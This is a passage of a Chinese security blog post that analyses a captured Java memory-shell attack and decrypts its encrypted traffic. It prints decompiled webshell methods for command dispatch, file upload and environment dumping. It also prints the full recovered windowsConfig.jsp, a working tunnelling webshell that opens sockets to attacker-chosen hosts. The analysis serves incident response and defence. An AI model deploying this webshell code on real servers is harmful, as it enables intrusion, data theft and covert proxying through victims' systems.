流量2POST /web_war_exploded/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}

HTTP/1.1 200 Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Sun, 31 Jul 2022 09:36:35 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

打完大马的第一个数据包

我们发送的数据是

6D6574686F644E616D65020400000074657374

从零开始的内存马分析——如何骑马反杀(一)

我们尝试解密返回的数据

从零开始的内存马分析——如何骑马反杀(一)

本地复现的返回包和报文一致

从零开始的内存马分析——如何骑马反杀(一)

我们再来看我们的马,

服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据

从零开始的内存马分析——如何骑马反杀(一)

注入后,我们对于返回包的数据解码并不成功

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

我们按下不表,在后续进行解密

我们去查看注入的内存马,发现存在GZIP和deserialize

从零开始的内存马分析——如何骑马反杀(一)

也就是说,我们重新推断一次

服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据

变为了

服务器数据 =》GZIP =》xor =》 base =》流量
流量 =》 base =》xor =》Gzip=》获得数据

我们对原本马的进一步分析之后,发现错过了一些细节

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ

拼接的前半部分为这样,也就导致会解密出{RSA}

我们去除前面的影响之后,将流量的后续,进行解密

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

从零开始的内存马分析——如何骑马反杀(一)

将返回的流量成功解密

0x03 内存马分析

3.1 功能预览

从零开始的内存马分析——如何骑马反杀(一)

3.2 全局变量

从零开始的内存马分析——如何骑马反杀(一)

sessionMap 用来存储多个session,说明 该系统rt是多人协同使用的工具,每个人的session不同

parameterMap 是用来存储传递的参数的

其他的也如图所见

introspector 监听器

   public byte[] run() {//run函数
try {//第一个参数是evalClassName,也就是我们命令的参数,第二个是methodName也是我们执行的方法
String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); // 方法为空就会提示
if (var20 == null) { return "Method is empty".getBytes();
} else { Object var21 = null; if (var1 != null) { //var4 是本身函数中的恶意module
Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes();
} //参数Map,将sessionTable和servletRequest 存入
this.parameterMap.put("sessionTable", this.session);
this.parameterMap.put("servletRequest", this.servletRequest);
var21 = var4.newInstance();
}//下面是一个调用class和参数,
Method var23 = null; boolean var5 = var21 != null;//实例化对象是否存在,var5判断
Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this;
//getByteArray函数见如下 byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1];//类的实例化 Object[] var9 = new Object[]
{var21}; if (var7 != null || !var5) { try {
var8[0] = Map.class;
var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var18) { try {
var8[0] = Dictionary.class;
var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var16) { try {
var8 = new Class[0]; var9 = new Object[0]; var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var14)
{ return "No Such Method".getBytes();
}
}
}
} Object var10 = null; if (var23 != null) {
var10 = var23.invoke(var21, var9);
} else { //equals函数被重写了,见下
//toString函数也被重写了,见下
var21.equals(this.parameterMap);
var21.toString();
var10 = this.parameterMap.get("result");
} if (byte[].class.isInstance(var10)) { return (byte[])var10;
} else if (String.class.isInstance(var10)) { return ((String)var10).getBytes();
} else { return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
}
}
} catch (Throwable var19) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
PrintStream var3 = new PrintStream(var2);
var19.printStackTrace(var3);
var3.flush();
var3.close(); return var2.toByteArray();
}
}

3.3 被调用的函数

getByteArray

  public byte[] getByteArray(String var1) {      try {         return (byte[])this.parameterMap.get(var1);
} catch (Exception var2) { return null;
}
} //获取parameterMap中的参数,上述传递的invokeMethod

equals 重写成参数不为空,同时对var1 调用handle

   public boolean equals(Object var1) {      return var1 != null &amp;&amp; this.handle(var1);
}//var1 不为空的时候,
public boolean handle(Object var1) { if (var1 == null) { return false;
} else { //判断var1 是不是byteArrayoutputStream类,是的话,输出
if (ByteArrayOutputStream.class.isInstance(var1)) {
this.outputStream = (ByteArrayOutputStream)var1; //判断,是不是byte数组,是的话赋值requestData
} else if (byte[].class.isInstance(var1)) {
this.requestData = (byte[])var1;

} else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) {
this.servletRequest = var1;
} return false;
}
}//var2 servlet.http.httpServletReuest//var1
private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false;
} else { boolean var3 = false; Class var4 = null; try { try {
var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader());
} catch (Exception var5) {
var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader());
}
} catch (Exception var6) {
} if (var4 != null &amp;&amp; var4.isInstance(var1)) {
var3 = true;
} return var3;
}
}

反序列化

public HashMap deserialize(byte[] var1, boolean gzipFlag) {
HashMap var3 = new HashMap();
ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
ByteArrayOutputStream var5 = new ByteArrayOutputStream();
byte[] var6 = new byte[4];//针对gzipFlag 判断对流是否采用GZIP加解密
try { Object var7 = var4; if (gzipFlag) {
var7 = new GZIPInputStream(var4);
} while(true) {
byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break;
} if (var8 == 1) {
((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString();
var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
var5.reset();
} else if (var8 == 2) {
((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString();
var3.put(var13, this.readInputStream((InputStream)var7, var12));
var5.reset();
} else {
var5.write(var8);
}
}
} catch (Exception var11) {
} return var3;
}

序列化

public byte[] serialize(Map var1) {      Iterator var2 = var1.keySet().iterator();
ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4);
var3.write(var4.getBytes());
byte[] var6; if (var5 instanceof byte[]) {
var3.write(2);
var6 = (byte[])var5;
} else if (var5 instanceof Map) {
var3.write(1);
var6 = this.serialize((Map)var5);
} else {
var3.write(2); if (var5 == null) {
var6 = "NULL".getBytes();
} else {
var6 = var5.toString().getBytes();
}
}

var3.write(intToBytes(var6.length));
var3.write(var6);
} catch (Exception var7) {
}
} return var3.toByteArray();
}

重写后的toString

 public String toString() {      if (this.outputStream != null &amp;&amp; this.requestData != null) {         try {
this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) {
this.session = (Map)sessionMap.get(var1);
}//methodname就是我们在内存马中交互的函数名
String var2 = this.get("methodName"); if (var2 == null || this.session == null &amp;&amp; !"test".equals(var2)) { return super.toString();
}

GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream);
byte[] var4 = this.run();
var3.write(var4);
var3.close();
this.outputStream.close();
this.parameterMap = null;
this.requestData = null;
this.outputStream = null;
this.servletRequest = null;
this.session = null;
} catch (Throwable var5) {
}
} return super.toString();
}

close 关闭session

   public byte[] close() {      try {         String var1 = this.sessionId();         String var2 = this.get("operation");         if (var1 != null) {
Map var7 = (Map)sessionMap.remove(var1);
var7.put("alive", Boolean.FALSE); return "ok".getBytes();
} else if (var2 != null &amp;&amp; "clearup".equals(var2)) { for(Object var4 : sessionMap.values()) { if (Map.class.isInstance(var4)) {
((Map)var4).put("alive", Boolean.FALSE);
}
}

sessionMap.clear(); return "ok".getBytes();
} else { return "fail".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
}

uploadFIle,参数已经都修改了比较好懂

   public byte[] uploadFile() {      String filepath = this.get("fileName");
byte[] fileValues = this.getByteArray("fileValue"); if (var1 != null &amp;&amp; var2 != null) { try {
File file = new File(filepath);
file.createNewFile();
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(fileValues);
fileOutputStream.close(); return "ok".getBytes();
} catch (Exception var5) { return var5.getMessage().getBytes();
}
} else { return "No parameter fileName and fileValue".getBytes();
}
}

getBasicsINfo 获取当前环境的相关信息

public byte[] getBasicsInfo() {      String var1 = "";      try {
Enumeration var2 = System.getProperties().keys();
var1 = var1 + "FileRoot : " + this.listFileRoot() + "n";
var1 = var1 + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "n";
var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "n";
var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "n"; try { String var16 = System.getProperty("java.io.tmpdir");
char var4 = var16.charAt(var16.length() - 1); if (var4 != '\' &amp;&amp; var4 != '/') {
var16 = var16 + File.separator;
}

var1 = var1 + "TempDirectory : " + var16 + "n";
} catch (Exception var7) {
}

var1 = var1 + "RealFile : " + this.getRealPath() + "n"; try {
var1 = var1
+ "OsInfo : os.name: "
+ System.getProperty("os.name")
+ " os.version: "
+ System.getProperty("os.version")
+ " os.arch: "
+ System.getProperty("os.arch")
+ "n";
} catch (Exception var6) {
var1 = var1 + "OsInfo : " + var6.getMessage() + "n";
} String var17; for(var1 = var1 + "IPList : " + getLocalIPList() + "n"; var2.hasMoreElements(); var1 = var1 + var17 + " : " + System.getProperty(var17) + "n") {
var17 = (String)var2.nextElement();
}

Map var18 = this.getEnv(); if (var18 != null) { for(String var19 : var18.keySet()) {
var1 = var1 + var19 + " : " + var18.get(var19) + "n";
}
} return var1.getBytes();
} catch (Exception var8) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);
var3.append("Exception errMsg:");
var3.append(var8.getMessage()); return var3.toString().getBytes();
}
}

在数据包中,发现了一些比较大的数据量

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 6096{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 254Date: Wed, 27 Jul 2022 10:14:51 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

数据包中,如上数据,进行解密后

从零开始的内存马分析——如何骑马反杀(一)

解出的jsp为,解出的代码也就是后续的windowsConfig.jsp,这个木马露出了马脚,终于被我们所捕获。

&lt;%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%&gt;
&lt;%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i &lt; len) {
b1 = data[i++] &amp; 0xff; if (i == len) {
sb.append(en[b1 &gt;&gt;&gt; 2]);
sb.append(en[(b1 &amp; 0x3) &lt;&lt; 4]);
sb.append("=="); break;
}
b2 = data[i++] &amp; 0xff; if (i == len) {
sb.append(en[b1 &gt;&gt;&gt; 2]);
sb.append(en[((b1 &amp; 0x03) &lt;&lt; 4)
| ((b2 &amp; 0xf0) &gt;&gt;&gt; 4)]);
sb.append(en[(b2 &amp; 0x0f) &lt;&lt; 2]);
sb.append("="); break;
}
b3 = data[i++] &amp; 0xff;
sb.append(en[b1 &gt;&gt;&gt; 2]);
sb.append(en[((b1 &amp; 0x03) &lt;&lt; 4)
| ((b2 &amp; 0xf0) &gt;&gt;&gt; 4)]);
sb.append(en[((b2 &amp; 0x0f) &lt;&lt; 2)
| ((b3 &amp; 0xc0) &gt;&gt;&gt; 6)]);
sb.append(en[b3 &amp; 0x3f]);
} return sb.toString();
} private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) {
byte[] data = str.getBytes(); int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i &lt; len) { do {
b1 = de[data[i++]];
} while (i &lt; len &amp;&amp; b1 == -1); if (b1 == -1) { break;
} do {
b2 = de[data[i++]];
} while (i &lt; len &amp;&amp; b2 == -1); if (b2 == -1) { break;
}
buf.write((int) ((b1 &lt;&lt; 2) | ((b2 &amp; 0x30) &gt;&gt;&gt; 4))); do {
b3 = data[i++]; if (b3 == 61) { return buf.toByteArray();
}
b3 = de[b3];
} while (i &lt; len &amp;&amp; b3 == -1); if (b3 == -1) { break;
}
buf.write((int) (((b2 &amp; 0x0f) &lt;&lt; 4) | ((b3 &amp; 0x3c) &gt;&gt;&gt; 2))); do {
b4 = data[i++]; if (b4 == 61) { return buf.toByteArray();
}
b4 = de[b4];
} while (i &lt; len &amp;&amp; b4 == -1); if (b4 == -1) { break;
}
buf.write((int) (((b3 &amp; 0x03) &lt;&lt; 6) | b4));
} return buf.toByteArray();
} static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
} return out.substring(0, out.length() - 1);
} boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost();
Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true;
}
} return false;
}
%&gt;
&lt;% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) {
rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){
response.reset(); String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true); // conn.setConnectTimeout(200);
// conn.setReadTimeout(200);

Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu);
Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
} int i;
byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){
OutputStream output; try{
output = conn.getOutputStream();
}catch(Exception e){
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return;
}

ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
} for (String key : conn.getHeaderFields().keySet()) { if (key != null &amp;&amp; !key.equalsIgnoreCase("Content-Length") &amp;&amp; !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}

InputStream hin; if (conn.getResponseCode() &lt; HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream(); if (hin == null){
response.setStatus(200); return;
}
}

ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
} String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody);
out.flush(); if ( true ) return; // exit
}
}

response.resetBuffer();
response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
socketChannel.socket().close();
} catch (Exception e) {
}
application.removeAttribute(mark);
} else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead &gt; 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead; if (bytesRead &lt; 513 || readLen &gt;= maxRead) break;
bytesRead = socketChannel.read(buf);
}
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

} catch (Exception e) {
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}

} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = "";
InputStream in = request.getInputStream(); while ( true ){
byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break;
inputData += new String(buff);
}
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip(); while(buf.hasRemaining())
socketChannel.write(buf);

response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("");
}
%&gt;

0x04 小总结

本篇我们将木马的侵入流程做了大致的模拟,在本地搭建了环境,并且编写了加解密的脚本,能够暂时的为我们的流量包进行加解密,也简单的分析了一些代码,在下一篇中,将会对每一个功能进行细致的编写。

由于篇幅太长,暂时分为两篇,wait(二)

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  • 本文由 发表于 2022年8月25日01:01:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
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